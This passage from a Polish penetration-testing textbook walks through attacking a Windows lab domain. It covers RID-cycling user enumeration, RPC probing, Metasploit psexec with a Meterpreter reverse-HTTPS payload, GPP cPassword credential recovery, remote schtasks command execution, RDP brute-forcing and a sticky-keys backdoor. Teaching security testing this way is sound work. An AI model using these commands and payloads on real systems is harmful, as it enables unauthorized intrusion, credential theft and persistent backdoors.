Group 'Domain Admins' (RID: 512) has member: HACKERHOUSE\backup
Group 'Domain Controllers' (RID: 516) has member: HACKERHOUSE\WIN2008R2$

3681988c430c7fe1e8567c4e2f281f7b
3
Enumerowanie użytkowników 485

Group 'Group Policy Creator Owners' (RID: 520) has member: HACKERHOUSE\hhadmin
Group 'Schema Admins' (RID: 518) has member: HACKERHOUSE\hhadmin
Group 'Enterprise Admins' (RID: 519) has member: HACKERHOUSE\hhadmin
Group 'Enterprise Admins' (RID: 519) has member: HACKERHOUSE\backup
Group 'Enterprise Admins' (RID: 519) has member: HACKERHOUSE\svcadm
Group 'Domain Users' (RID: 513) has member: HACKERHOUSE\hhadmin
Group 'Domain Users' (RID: 513) has member: HACKERHOUSE\krbtgt
Group 'Domain Users' (RID: 513) has member: HACKERHOUSE\backup
Group 'Domain Users' (RID: 513) has member: HACKERHOUSE\jennya
Group 'Domain Users' (RID: 513) has member: HACKERHOUSE\peterk
Group 'Domain Users' (RID: 513) has member: HACKERHOUSE\johnf
Group 'Domain Users' (RID: 513) has member: HACKERHOUSE\jimmys
Group 'Domain Users' (RID: 513) has member: HACKERHOUSE\helpdesk
Group 'Domain Users' (RID: 513) has member: HACKERHOUSE\svcadm
Group 'Domain Users' (RID: 513) has member: HACKERHOUSE\trident
Group 'Domain Users' (RID: 513) has member: HACKERHOUSE\claire
Group 'Domain Users' (RID: 513) has member: HACKERHOUSE\craigf

=========================================================================
| Users on 192.168.48.104 via RID cycling (RIDS: 500-550,1000-1050) |
=========================================================================
[I] Found new SID: S-1-5-21-818678127-873638857-2913373851
[I] Found new SID: S-1-5-21-1500211425-9548422-911967473
[I] Found new SID: S-1-5-82-3006700770-424185619-1745488364-794895919
[I] Found new SID: S-1-5-82-1036420768-1044797643-1061213386-2937092688
[I] Found new SID: S-1-5-80-3139157870-2983391045-3678747466-658725712
[I] Found new SID: S-1-5-80
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-21-1500211425-9548422-911967473
and logon username 'HACKERHOUSE\helpdesk', password 'password'
S-1-5-21-1500211425-9548422-911967473-500 HACKERHOUSE\hhadmin (Local User)
S-1-5-21-1500211425-9548422-911967473-501 HACKERHOUSE\Guest (Local User)
S-1-5-21-1500211425-9548422-911967473-502 HACKERHOUSE\krbtgt (Local User)
S-1-5-21-1500211425-9548422-911967473-512 HACKERHOUSE\Domain Admins (Domain Group)
S-1-5-21-1500211425-9548422-911967473-513 HACKERHOUSE\Domain Users (Domain Group)
S-1-5-21-1500211425-9548422-911967473-514 HACKERHOUSE\Domain Guests (Domain Group)
S-1-5-21-1500211425-9548422-911967473-515 HACKERHOUSE\Domain Computers (Domain Group)
S-1-5-21-1500211425-9548422-911967473-516 HACKERHOUSE\Domain Controllers (Domain Group)
S-1-5-21-1500211425-9548422-911967473-517 HACKERHOUSE\Cert Publishers (Local Group)
S-1-5-21-1500211425-9548422-911967473-518 HACKERHOUSE\Schema Admins (Domain Group)
S-1-5-21-1500211425-9548422-911967473-519 HACKERHOUSE\Enterprise Admins (Domain Group)
S-1-5-21-1500211425-9548422-911967473-520 HACKERHOUSE\Group Policy
Creator Owners (Domain Group)S-1-5-21-1500211425-9548422-911967473-521
HACKERHOUSE\Read-only Domain Controllers (Domain Group)

W tym wydruku widać więcej informacji o użytkownikach systemu, w tym i wszystkie skonfi-
gurowane lokalnie konta administratorów. W naszym przykładzie konto hhadmin jest też kontem
administratora domeny, a nie wyłącznie lokalnym kontem administracyjnym. Istnieje tu też iden-
tyfikator SID stacji roboczej, który jest różny od identyfikatora domeny. Tych identyfikatorów
można zatem użyć do odróżniania użytkowników lokalnych od użytkowników domeny. Pamiętaj,
że lokalne konto administracyjne ma pełną kontrolę nad jednym komputerem, natomiast konto
administratora domeny sprawuje kontrolę nad całą domeną.
W prezentowanym wyżej wydruku można też zobaczyć znane już nazwy użytkowników.
W przypadku każdego z nich można wykonać jedną próbę zgadywania hasła — ręczną próbę, bez
używania żadnych narzędzi. Przypomnij sobie techniki OSINT, o których mówiliśmy na początku

3681988c430c7fe1e8567c4e2f281f7b
3
486 Rozdział 13  Microsoft Windows

tej książki. Być może uda się tu wykorzystać hasło uzyskane z jednego z wielu wycieków danych,
które może dobrze pasować do danego systemu. Może to być jedno słowo, które wiąże się w jakiś
sposób z firmą albo z konkretną osobą. Być może tego samego hasła używano w serwisie LinkedIn
oraz przy logowaniu się na swój firmowy komputer. Jeżeli masz do dyspozycji tylko jedną próbę
zgadnięcia hasła, to niech ta próba ma jakieś logiczne podstawy. Tym bardziej że udane zgadnięcie
hasła może otworzyć przed Tobą dostęp do całej firmowej domeny. Zalecamy zatem wykonanie
takiej próby, ale wyłącznie ręcznie i z zachowaniem ostrożności. Czasami hasła pojawiają się jako
komentarze w serwisie LDAP albo są wewnątrz notatek uzyskanych podczas enumerowania infor-
macji w badanym systemie.

Nie zalecamy stosowania zautomatyzowanych ataków siłowych w korpo-

racyjnych środowiskach Windows, ponieważ może do spowodować zablokowanie kont
wielu użytkowników. Podczas stosowania metod zautomatyzowanych takie blokady poja-
wiają się bardzo szybko, ponieważ konta istniejące w całej domenie zazwyczaj są bloko-
wane po zaledwie kilku nieudanych próbach logowania. Nie jest to ustawienie domyślne,
ale administratorzy mogą szybko zdefiniować takie reguły kont. Czasami jednak nie są one
włączane dla szczególnych grup użytkowników albo osób pracujących w określonej lokali-
zacji. Jeszcze większą ostrożność należy zachować przy prowadzeniu ataków siłowych
w sieciach wewnętrznych. Tutaj działają one z niszczycielską siłą, a przecież już wcześniej
udało Ci się przebić przez system zewnętrznych zabezpieczeń sieci.

Microsoft RPC
Widzieliśmy już, że w systemach linuksowych i uniksowych pojawiają się serwisy ONC RPC. Firma
Microsoft stosuje jednak własnościowy wariant protokołów RPC, które wywodzą się ze standardu
DCE/RPC. W jednym z podawanych wcześniej wyników skanowania widzieliśmy spory zbiór
otwartych portów o wysokich numerach. Poniżej prezentujemy ten wydruk ponownie:
135/tcp open msrpc Microsoft Windows RPC
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49158/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49161/tcp open msrpc Microsoft Windows RPC
49163/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC
49186/tcp open msrpc Microsoft Windows RPC
49187/tcp open msrpc Microsoft Windows RPC

Mimo że MSRPC to osobna implementacja protokołu ONC RPC, któremu przyglądaliśmy się
już wcześniej, to dotyczą jej te same zasady, co implementacji z systemów linuksowych. W poda-
nym wyżej wydruku widoczny jest zbiór portów, a każdy jest powiązany z osobnym programem
(lub procedurą), który może zostać wykonany na danym hoście. Możemy zatem sondować każdy
z tych portów, aby uzyskać dalsze informacje na temat systemu i wykryć, jakie oprogramowanie

3681988c430c7fe1e8567c4e2f281f7b
3
Microsoft RPC 487

zostało dodatkowo zainstalowane na tym hoście. W tym celu można wykorzystać specjalny skrypt
programu Nmap, który umożliwia wydobycie dodatkowych informacji na temat poszczególnych
serwisów RPC. Za pomocą polecenia ls/usr/share/nmap/scripts | grep rpc możesz wypisać listę
skryptów, które mają w nazwie skrót RPC.
bitcoinrpc-info.nse
deluge-rpc-brute.nse
metasploit-msgrpc-brute.nse
metasploit-xmlrpc-brute.nse
msrpc-enum.nse
nessus-xmlrpc-brute.nse
rpcap-brute.nse
rpcap-info.nse
rpc-grind.nse
rpcinfo.nse
xmlrpc-methods.nse

Pamiętaj, że możesz też użyć skryptu nsediscover.py, udostępnianego

przez firmę Hacker House, który zbiera informacje na temat skryptów NSE. Sam program
Nmap też może wyświetlać szczegółowe informacje na temat poszczególnych skryptów.
Wystarczy użyć polecenia nmap --script-help= <NazwaSkryptu>. Na przykład polecenie nmap
-scripthelp=msrpc-enum wypisuje poniższy tekst:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-29 17:39 GMT

msrpc-enum
Categories: safe discovery
https://nmap.org/nsedoc/scripts/msrpc-enum.html
Queries an MSRPC endpoint mapper for a list of mapped
services and displays the gathered information.

As it is using smb library, you can specify optional

username and password to use.

Script works much like Microsoft's rpcdump tool

or dcedump tool from SPIKE fuzzer.

Spróbuj użyć skryptu o nazwie msrpc-enum (polecenie nmap <TargetIP> --script=msrpc-enum).

W wynikach tak uruchomionego skanowania zobaczysz zapewne komunikaty podobne do poniższego:
Host script results:
|_msrpc-enum: NT_STATUS_ACCESS_DENIED

System odmawia nam dostępu, dlatego warto spróbować podać znane nam dane uwierzytel-
niające. Co prawda tekst z instrukcją obsługi skryptu msrpc-enum nie wspomina o tym, jak wpro-
wadzić do niego nazwę użytkownika i hasło, ale informuje nas, że można to zrobić. Na szczęście
można posłużyć się metodami podawanymi przez inne skrypty programu Nmap przeznaczone do
pracy z protokołem SMB, czyli skorzystać z parametrów smbuser i smbpass. Zapewne zastanawiasz
się, dlaczego nagle wróciliśmy do protokołu SMB? Po prostu procedury RPC mogą być też wywo-
ływane za pośrednictwem SMB i właśnie tę metodę wykorzystuje wspomniany skrypt. Oto postać
polecenia, którym należy się posłużyć:
nmap <AdresIP> -p 139 --script=msrpc-enum --script-args=smbuser=helpdesk,smbpass=password

3681988c430c7fe1e8567c4e2f281f7b
3
488 Rozdział 13  Microsoft Windows

A tak wygląda odpowiedź uruchomionego skryptu:

Host script results:
| msrpc-enum:
|
| ncalrpc: LRPC-8ef9902af7714cbeeb
| uuid: 3d267954-eeb7-11d1-b94e-00c04fa3080d
| exe: lserver.exe Terminal Server Licensing

| ncalrpc: spoolss
| annotation: Spooler function endpoint
| uuid: 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1
|
| ncalrpc: spoolss
| annotation: Spooler base remote object endpoint
| uuid: ae33069b-a2a8-46ee-a235-ddfd339be281
|
| ncalrpc: LRPC-4c2baee2e623c1febd
| annotation: Base Firewall Engine API
| uuid: dd490425-5325-4565-b774-7e27d6c09c24
|
| uuid: 12345778-1234-abcd-ef00-0123456789ac
| netbios: \\WIN2008R2
| exe: lsass.exe samr interface
| ncacn_np: \pipe\lsass
|
| ncalrpc: LRPC-5e106fe0917602e4bc
| uuid: 12345778-1234-abcd-ef00-0123456789ac
| exe: lsass.exe samr interface
| |
| ncalrpc: LSARPC_ENDPOINT
| uuid: 12345778-1234-abcd-ef00-0123456789ac
| exe: lsass.exe samr interface
|
| ncalrpc: protected_storage
| uuid: 12345778-1234-abcd-ef00-0123456789ac
| exe: lsass.exe samr interface
|

Dla oszczędności miejsca skróciliśmy wydruk generowany przez skrypt, pokazując jedynie kilka
typowych interfejsów. Omawiana wcześniej baza danych SAM również jest osiągalna za pośred-
nictwem jednego z tych interfejsów RPC. Jak się przekonasz, z protokołów RPC korzysta też wiele
różnych ról i funkcji serwerowych. Nawet programy antywirusowe oraz złośliwe oprogramowanie
wykorzystuje te mechanizmy jako sposób komunikacji międzyprocesowej.
Spróbuj zatem przyjrzeć się programowi rpcdump.exe, z którego korzysta zaprezentowany
wyżej skrypt programu Nmap. Ten program jest częścią pakietu Windows Server 2003 Resource
Kit Tool, dlatego dołączyliśmy go do naszego zestawu narzędzi do pracy z systemami Windows.
Niestety nie uda się uruchomić tych narzędzi w maszynie wirtualnej Kali Linux, ponieważ są
one przygotowane do pracy w systemach Windows. Niektóre z nich można spróbować urucho-
mić za pomocą takich emulatorów jak Wine, a pozostałe mają swoje warianty działające w sys-
temach linuksowych.

3681988c430c7fe1e8567c4e2f281f7b
3
Microsoft RPC 489

Po uruchomieniu tego programu w powłoce systemu Windows zobaczysz na ekranie następu-

jące komunikaty:
RPCDump:Rpc endpoint diagnostic utility.

/S Name of server to interogate.(Defaults to local if not specified)

/V Verbose Mode.
/I Ping all registered endpoints.
/P Protocol:(default ncacn_ip_tcp)
ncacn_np (Connection-oriented named pipes)
ncacn_mq (Datagram (connectionless) over the Microsoft Message Queue
Server)
ncadg_ipx (Datagram (connectionless) IPX)
ncacn_spx (Connection-oriented SPX)
ncacn_http (Connection-oriented TCP/IP using Microsoft Internet
Information Server as HTTP proxy.)
ncacn_nb_nb (Connection-oriented NetBEUI)
ncacn_nb_tcp (Connection-oriented NetBIOS over TCP)
ncacn_nb_ipx (Connection-oriented NetBIOS over IPX)
ncacn_ip_tcp (Connection-oriented TCP/IP)
ncacn_at_dsp (AppleTalk DSP)
ncadg_ip_udp (Datagram (connectionless) UDP/IP)
ncacn_vns_spp (Connection-oriented Vines SPP transport)
ncacn_dnet_nsp (Connection-oriented DECnet transport)
ncacn_nb_xns (Connection-oriented XNS)
e.g. rpcdump /s foo /v /i

C:\Program Files (x86)\Windows Resource Kits\Tools>

Używając tego narzędzia, poznasz różne warianty dostępnych protokołów RPC. Możesz pobrać
narzędzie razem z testową kopią systemu Windows Server 2019, a następnie użyć go w świeżo za-
instalowanym systemie, wywołując polecenie rpcdump /i. W ten sposób dowiesz się, co można
osiągnąć za pomocą tego narzędzia. W naszych przykładach ograniczamy się jedynie do wykrywa-
nia serwera Microsoft IIS działającego na danym hoście. Oznacza to, że taki host może mieć moż-
liwości komunikacyjne i konfiguracyjne właściwe dla serwera WWW. Może to też oznaczać, że
dane uwierzytelniające domeny mogą być zapisane w aplikacji sieciowej działającej na serwerze.
Te dane mogą być też podawane za pomocą ścieżki UNC zapisanej w hiperłączu. Generalnie sys-
temy Windows można czasem zmusić do zaprezentowania tych danych uwierzytelniających za po-
średnictwem protokołu SMB podczas otwierania ścieżek UNC.
C:\Program Files (x86)\Windows Resource Kits\Tools>rpcdump /s
192.168.48.104 /I
Querying Endpoint Mapper Database...
71 registered endpoints found.

Collecting Data.... This may take a while.

0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................

ncacn_http(Connection-oriented TCP/IP using Microsoft Internet

Information Server as HTTP proxy.)
192.168.48.104[49158] [12345678-1234-abcd-ef00-01234567cffb] :ACCESS_DENIED
192.168.48.104[49158] [12345778-1234-abcd-ef00-0123456789ab] :ACCESS_DENIED
192.168.48.104[49158] [e3514235-4b06-11d1-ab04-00c04fc2dcd2] MS NT Directory
DRS Interface :ACCESS_DENIED

3681988c430c7fe1e8567c4e2f281f7b
3
490 Rozdział 13  Microsoft Windows

We frameworku Metasploit również można znaleźć narzędzia do sondowania serwisów RPC,

takie jak moduł smb_enum_gpp.
Przygotowaliśmy pakiet narzędzi (dostępny pod adresem https://www.hackerhousebook.com/
files/Windows_Tradecraft_Tools.zip) umożliwiających analizę serwisów LDAP, SMB i RPC. Tych
samych narzędzi można też używać do wykonywania „ruchów bocznych”. Na przykład za pomocą
programu PsExec (niewielkie narzędzie przeznaczone do uruchamiania na zdalnych hostach ser-
wisów umożliwiających wykonywanie poleceń) oraz Impacket (zbiór klas języka Python współpra-
cujących z różnymi protokołami sieciowymi, dostępny pod adresem https://github.com/Secure
´AuthCorp/impacket) można tworzyć własne serwisy, używać zdalnych zasobów sieciowych oraz
uruchamiać polecenia na zdalnych systemach Windows. Program PsExec umożliwia tworzenie ser-
wisów na zdalnych systemach i jest dostępny we frameworku Metasploit. W programie Metasploit
poszukaj nazwy PsExec, a znajdziesz kilka niezależnych modułów. Możesz zatem skonfigurować
moduł windows/smb/psexec i użyć opcji native target, aby przygotować go do pracy na zdalnym
hoście. W efekcie zobaczysz wydruk podobny do przedstawionego poniżej. W tym module wyko-
rzystamy payload z pakietem Meterpreter, na przykład windows/meterpreter/reverse_https, który
umożliwia wstrzykiwanie tego pakietu na zdalny host. Meterpreter jest systemem zarządzania pay-
loadem, który jednocześnie umożliwia dostęp do powłoki. Z całą pewnością wywoła on alarmy
w systemie antywirusowym, ale tutaj chodzi o zaprezentowanie metody uruchamiania własnych
plików .exe za pomocą narzędzia PsExec. Dokładniejszy opis systemu Meterpreter znajduje się
w dalszej części tego rozdziału. Na razie wystarczy informacja, że tworzy on własne sesje, z którymi
można prowadzić interakcję.
msf5 exploit(windows/smb/psexec) > run
[*] Started HTTPS reverse handler on https://192.168.11.199:443
[*] 192.168.11.61:445 - Connecting to the server...
[*] 192.168.11.61:445 - Authenticating to 192.168.11.61:445|HACKERHOUSE
as user 'hhadmin'...
[*] 192.168.11.61:445 - Uploading payload... pFvdqZAh.exe
[*] 192.168.11.61:445 - Created \pFvdqZAh.exe...
[*] https://192.168.11.199:443 handling request from 192.168.11.61;
(UUID: tgxs8smy) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 2 opened (192.168.11.199:443 ->
192.168.11.61:51984) at 2020-02-07 19:51:47 -0500
[+] 192.168.11.61:445 - Service started successfully...

Po udanym włamaniu na dowolny system Windows możemy rozpocząć uruchamianie poleceń

w celu uzyskania informacji z tego hosta. Ten proces zdobywania danych nazywany jest działa-
niami powłamaniowymi (ang. post-exploitation). To w tym momencie wysyłamy do hosta różne
zapytania i przeglądamy dostępne z niego zasoby, które można wykorzystać w kolejnym kroku.
Korzystając z konta domenowego, możemy nawet wyszukiwać informacje na temat udziałów sie-
ciowych. Możemy tu wykorzystać moduł frameworku Metasploit przeznaczony do enumerowania
preferencji reguł grupy. Reguły grupy (ang. group polisy) to technologia używana przez system Win-
dows Server do wymuszania stosowania ustawień bezpieczeństwa dla grup użytkowników w kom-
puterach należących do danej domeny. Wszystkie takie ustawienia można znaleźć za pomocą pro-
tokołu SMB. Są zapisane w plikach XML znajdujących się w podłączonych systemach plików CIFS
(Common Internet File System).

3681988c430c7fe1e8567c4e2f281f7b
3
Microsoft RPC 491

Do dyspozycji mamy tu powłamaniowy moduł, który umożliwia wykorzystanie tej sytuacji, bo

zamontowuje w systemie znaleziony w domenie udział SYSVOL i poszukuje na nim plików XML.
Wewnątrz zamontowanego folderu (zwykle jest to C:\Windows\SYSVOL) zapisane są pliki zasad
grup będące plikami XML opisującymi sposób, w jaki muszą być konfigurowane zasoby sieciowe.
W tych plikach można znaleźć wartości cPassword=, które są używane do definiowania haseł
w poleceniach net user. Same hasła są oczywiście szyfrowane, ale firma Microsoft opublikowała
swój klucz szyfrujący AES, który jest używany w tym procesie, co oznacza, że hasła praktycznie nie
są chronione!
Wiele firm korzysta z tej funkcji na stacjach roboczych, żeby zmienić nazwę lokalnego konta
administratora i nadać mu specjalne hasło. Ma to być prostym rozwiązaniem umożliwiającym
zmniejszenie uprawnień stacji roboczej i pozwalającym na zapobieganie nieautoryzowanemu do-
stępowi. W wielu firmach przebudowywano później sieci komputerowe, a reguły grup zostały zak-
tualizowane do nowszych wersji. Niestety czasami administratorzy zapominali, że te reguły zostały
też zdefiniowane w stacjach roboczych albo dla kont, które są już od dawna nieużywane.
Firma Microsoft rozwiązała ten problem za pomocą biuletynu MS14-025. Od tego momentu
każda próba użycia interfejsu graficznego do zdefiniowania wartości cPassword spowoduje poja-
wienie się okna dialogowego z informacją o odmowie dostępu. Mimo to wiele osób nadal definiuje
wartości cPassword za pomocą ręcznej edycji plików albo korzysta ze starszych wersji plików reguł
grup, które zawierają te wartości. Poniżej możesz zobaczyć, jak wygląda procedura wykorzystania
tego problemu za pomocą powłoki Meterpreter. Używamy tu modułu powłamaniowego, co ozna-
cza, że przeprowadzamy działania na hoście dopiero po wykorzystaniu podatności umożliwiającej
dostęp do powłoki. We frameworku Metasploit dostępnych jest wiele takich modułów wykonują-
cych różne działania, również takie, które umożliwiają podniesienie swoich uprawnień. Oczywiście
każdą z tych operacji możesz też wykonać ręcznie. Po przeanalizowaniu poniższego wydruku zo-
baczysz, że w ustawieniach reguł grup udało się znaleźć nazwę konta hhadmin oraz jego hasło.
msf5 post(windows/gather/credentials/gpp) > exploit

[*] Checking for group policy history objects...

[+] Cached Group Policy folder found locally
[*] Checking for SYSVOL locally...
[-] Error accessing C:\Windows\SYSVOL\sysvol : stdapi_fs_ls: Operation
failed: The system cannot find the path specified.
[*] Enumerating Domains on the Network...
[-] ERROR_NO_BROWSER_SERVERS_FOUND
[*] Enumerating domain information from the local registry...
[*] Retrieved Domain(s) HACKERHOUSE from registry
[*] Retrieved DC WIN2019PDC.HACKERHOUSE.INTERNAL from registry
[*] Enumerating DCs for HACKERHOUSE on the network...
[-] ERROR_NO_BROWSER_SERVERS_FOUND
[-] No Domain Controllers found for HACKERHOUSE
[*] Searching for Policy Share on WIN2019PDC.HACKERHOUSE.INTERNAL...
[+] Found Policy Share on WIN2019PDC.HACKERHOUSE.INTERNAL
[*] Searching for Group Policy XML Files...
[-] Received error code 2147950650 when reading C:\ProgramData\
Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\
MACHINE\Preferences\Groups\Groups.xml
[*] Parsing file: \\WIN2019PDC.HACKERHOUSE.INTERNAL\SYSVOL\HACKERHOUSE.

3681988c430c7fe1e8567c4e2f281f7b
3
492 Rozdział 13  Microsoft Windows

INTERNAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\
Preferences\Groups\Groups.xml ...
[+] Group Policy Credential Info
============================

Name Value
---- -----
TYPE Groups.xml
USERNAME hhadmin
PASSWORD Password1
DOMAIN CONTROLLER WIN2019PDC.HACKERHOUSE.INTERNAL
DOMAIN HACKERHOUSE.INTERNAL
CHANGED 2020-02-05 20:59:52
NEVER_EXPIRES? 0
DISABLED 0
NAME Default Domain Policy

[+] XML file saved to: /root/.msf4/loot/20200207195404_

default_192.168.11.61_microsoft.window_948305.txt

[*] Post module execution completed

To konto może być kontem serwisowym albo uprzywilejowanym kontem użytkownika. Na

kilku komputerach może być również lokalnym kontem administratora, dlatego warto zacząć teraz
przeczesywać te systemy, poszukując w nich kolejnych ważnych informacji. W ten sam sposób
można uzyskać hasło użytkownika hhadmin z każdego komputera podłączonego do domeny.
Wystarczy tylko poprawne konto w domenie, do którego można uzyskać dostęp za pomocą phis-
hingu celowanego albo innych rodzajów ataków socjotechnicznych. Więcej informacji na temat
reguł grup znajdziesz pod adresem: https://docs.microsoft.com/pl-pl/previous-versions/windows/
it-pro/windows-server-2012-R2-and-2012/hh831791(v=ws.11).
We frameworku Metasploit istnieje moduł endpoint_mapper zbierający informacje z serwisu
RPC Endpoint Mapper działającego na hostach z systemem Windows. Ten serwis działa bardzo
podobnie do serwisów rpcbind lub portmapper, które widzieliśmy już na hostach korzystających
z protokołu ONC RPC, gdzie zajmowały się przydzielaniem numerów portów do poszczególnych
programów. Uruchomienie tego narzędzia dla systemu Windows Server, którego używaliśmy do
tej pory, spowoduje wypisanie poniższych informacji. (W celu skrócenia tego wydruku usunęliśmy
część wierszy, w tym i te podające adres IP oraz numer portu, w tym przypadku 135).
msf5 auxiliary(scanner/dcerpc/endpoint_mapper) > run

1ff70682-0a51-30e8-076d-740be8cee98b v1.0 PIPE (\PIPE\atsvc) \\WIN2008R2

378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0
58e604e8-9adb-4d2e-a464-3b0683fb1480 v1.0
f6beaff7-1e19-4fbb-9f8f-b89e2018337c v1.0
f6beaff7-1e19-4fbb-9f8f-b89e2018337c v1.0
30adc50c-5cbc-46ce-9a0e-91914789e23c v1.0
Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
PIPE (\PIPE\atsvc) \\WIN2008R2
PIPE (\PIPE\srvsvc) \\WIN2008R2 [AppInfo]
LRPC (eventlog) [Event log TCPIP]
TCP (49153) [Event log TCPIP]
LRPC (eventlog) [NRP server endpoint]

Zauważ, że moduł jest połączony z portem TCP 135 na sprawdzanym hoście. Ten numer portu
jest używany przez serwis RPC Endpoint Mapper, a nie przez serwis SMB lub NetBIOS.

3681988c430c7fe1e8567c4e2f281f7b
3
Harmonogram zadań 493

Zauważ, że na liście pojawiają się serwisy LRPC, PIPE i TCP, a każdy z nich jest poprzedzany nu-
merem wersji, na przykład v1.0. Skrót LRPC pochodzi od nazwy protokołu Lightweight RPC, ale
można go również traktować jako metodę używania protokołu RPC w ramach lokalnego systemu.
Sama idea lokalnego, zdalnego wywoływania procedur może wydawać się absurdalna, ale przecież
ten sam interfejs RPC może obsługiwać zarówno zdalne, jak i lokalne klienty. Nie ma potrzeby
tworzenia osobnego systemu dla każdej kategorii klientów.
Serwis PIPE zajmuje się obsługą potoków nazwanych. Podatność SambaCry była wykorzysty-
wana za pośrednictwem potoku nazwanego, o czym dowiedzieliśmy się w rozdziale 9. Z kolei ser-
wis TCP oznacza, że pozwala on połączyć się z serwisem lub programem za pośrednictwem portu
TCP o określonym numerze.
Widzisz teraz, w jaki sposób narzędzia sondujące mogą dać nam obraz oprogramowania dzia-
łającego na badanym hoście.

Program WinRM, który również znajduje się w pakiecie Windows_Tradecraft_

Tools.zip, jest kolejną metodą zdalnego uruchamiania poleceń w systemach Windows. Jego
użycie nie jest skomplikowane, a typowe wywołanie wygląda tak: winrm /r:<NazwaHosta>
/u:<Użytkownik> /p:<Hasło> <Polecenie>.

Harmonogram zadań
Kolejnym przydatnym serwisem jest harmonogram zadań (ang. Task scheduler), który również
można wykorzystać do uruchamiania poleceń i korzystania z powłoki. Nie trzeba tu ograniczać się
do uruchamiania plików wykonywalnych, ponieważ używając pliku rundll32.exe, można urucha-
miać również kod z plików DLL, a interakcja z serwisem harmonogramu zadań jest możliwa za
pośrednictwem portów powiązanych z usługami RPC i SMB. Można też wykorzystać program
schtasks.exe, aby uzyskać listę zadań zaplanowanych dla danego hosta i utworzyć nowe zadania.
Możesz używać tego serwisu, aby zdalnie uruchamiać polecenia na zdalnym hoście, oczywiście pod
warunkiem, że dysponujesz odpowiednią nazwą użytkownika i hasłem. Na przykład za pomocą
poniższych poleceń możesz zdefiniować zaplanowane zadanie, aby uruchomić program cmd.exe.
Poszczególne polecenia można dopasować do własnych wymagań.
net time \\192.168.99.1
schtasks /CREATE /S \\192.168.99.1 /U użytkownik /P hasło /tn nazwaZadania /tr
cmd.exe /sc ONCE /st 23:00 /SD 04/05/2020
schtasks /DELETE /S \\192.168.99.1 /U użytkownik /P hasło /tn nazwaZadania

Zdalny pulpit
Protokół obsługi zdalnego pulpitu (RDP — Remote Desktop Protocol) jest powszechnie stosowa-
nym rozwiązaniem umożliwiającym dostęp do pulpitu zdalnych systemów. Protokół RDP korzysta
z portu TCP 3389. Można go traktować jak microsoftowy odpowiednik protokołu VNC (Virtual
Network Computing). Nic nie stoi na przeszkodzie, żeby połączyć się z usługą RDP z komputera
z systemem Linux. Jednym ze sposobów na wykonanie takiego połączenia jest użycie narzędzia
o nazwie Remmina (w systemie Kali Linux można je zainstalować poleceniem apt install remmina),

3681988c430c7fe1e8567c4e2f281f7b
3
494 Rozdział 13  Microsoft Windows

które jest klientem usług zdalnego pulpitu. Wystarczy tylko podać mu adres IP komputera, z któ-
rym chcesz się połączyć (tak jak pokazano na rysunku 13.7), a po chwili zobaczysz ekran logowania
do systemu Windows. Nie ma wielu możliwości przedostania się przez ten ekran, dlatego dobrze
jest uprzednio pozyskać nazwę użytkownika oraz jego hasło. Wcześniej można spróbować enume-
rowania użytkowników systemu i przygotować sobie listę haseł, które można wypróbować z tymi
kontami. Możesz też spróbować użyć takich narzędzi jak Hydra, aby zastosować siłowe metody do
zdobycia dostępu do wybranych kont, na przykład administratora. W tym przypadku należy jed-
nak zachować ostrożność i sprawdzać, czy w systemie obowiązują reguły blokowania kont. Po uzy-
skaniu dostępu do konta użytkownika możesz korzystać z całego pulpitu systemu Windows oraz
wszystkich dostępnych w nim narzędzi i funkcji.

Rysunek 13.7. Używanie narzędzia Remmina, aby połączyć się z hostem Windows Server
za pomocą protokołu RDP

Ten ekran logowania nazywany jest też GINA (graphical identification and authentication —
graficzna identyfikacja i uwierzytelnianie), choć ten komponent systemów Windows został zarzu-
cony już w Windows Vista. Mimo że aktualny ekran logowania wygląda tak samo i również prosi
o naciśnięcie klawiszy Ctrl+Alt+Del, to sama technologia uwierzytelniania została wymieniona.
W przypadku starszego ekranu logowania często przeprowadzanym atakiem była podmiana pliku
sethc.exe, który jest uruchamiany w przypadku, gdy użytkownik pięciokrotnie naciśnie klawisz
Shift. Ten rodzaj ataku nazywany jest „atakiem na funkcję sticky keys” i można go przeprowadzić
za pośrednictwem funkcji zdalnego pulpitu. W ten sposób, jeżeli uzyskasz dostęp administratora
do komputera z systemem Windows, możesz podmienić plik sethc.exe znajdujący się w katalogu
C:\Windows\system32, zastępując go plikiem cmd.exe i tworząc łatwe do wykorzystania tylne wej-
ście do systemu. W efekcie już z ekranu GINA zyskasz możliwość uruchamiania powłoki z pra-
wami SYSTEM. Co więcej, ta sama sztuczka działa też w usługach terminalowych. Dzisiaj system
Windows próbuje utrudniać przeprowadzanie takiego ataku, przez co jego wykonanie wymaga
podniesienia swoich uprawnień do poziomu SYSTEM albo wyłączenia funkcji ochrony plików.

3681988c430c7fe1e8567c4e2f281f7b
3
Powłoka systemu Windows 495

Powłoka systemu Windows

Jeżeli ze swojej maszyny wirtualnej Kali Linux uruchomisz exploit, taki jak moduł frameworku
Metasploit związany z biuletynem MS17-010 albo wykorzystujący program PSExec, używając przy tym
payloadu dającego dostęp do powłoki systemu Windows (na przykład windows/x64/shell/bind_tcp),
to nawet ze swojego systemu linuksowego zyskasz możliwość używania powłoki w systemie Win-
dows. To nie jedyny rodzaj powłoki, z jakiego możesz korzystać, ale ten doskonale nadaje się do
nauki, a w niektórych przypadkach może być jedyną dostępną opcją.
Komunikat powitalny powłoki może wyglądać podobnie do przedstawionego poniżej. Dwa
pierwsze wiersze to właściwy komunikat powitalny, a w trzecim wierszu widoczny jest znak zachęty
(C:\Windows\system32>), wypisujący również pełną ścieżkę do aktualnego katalogu:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>

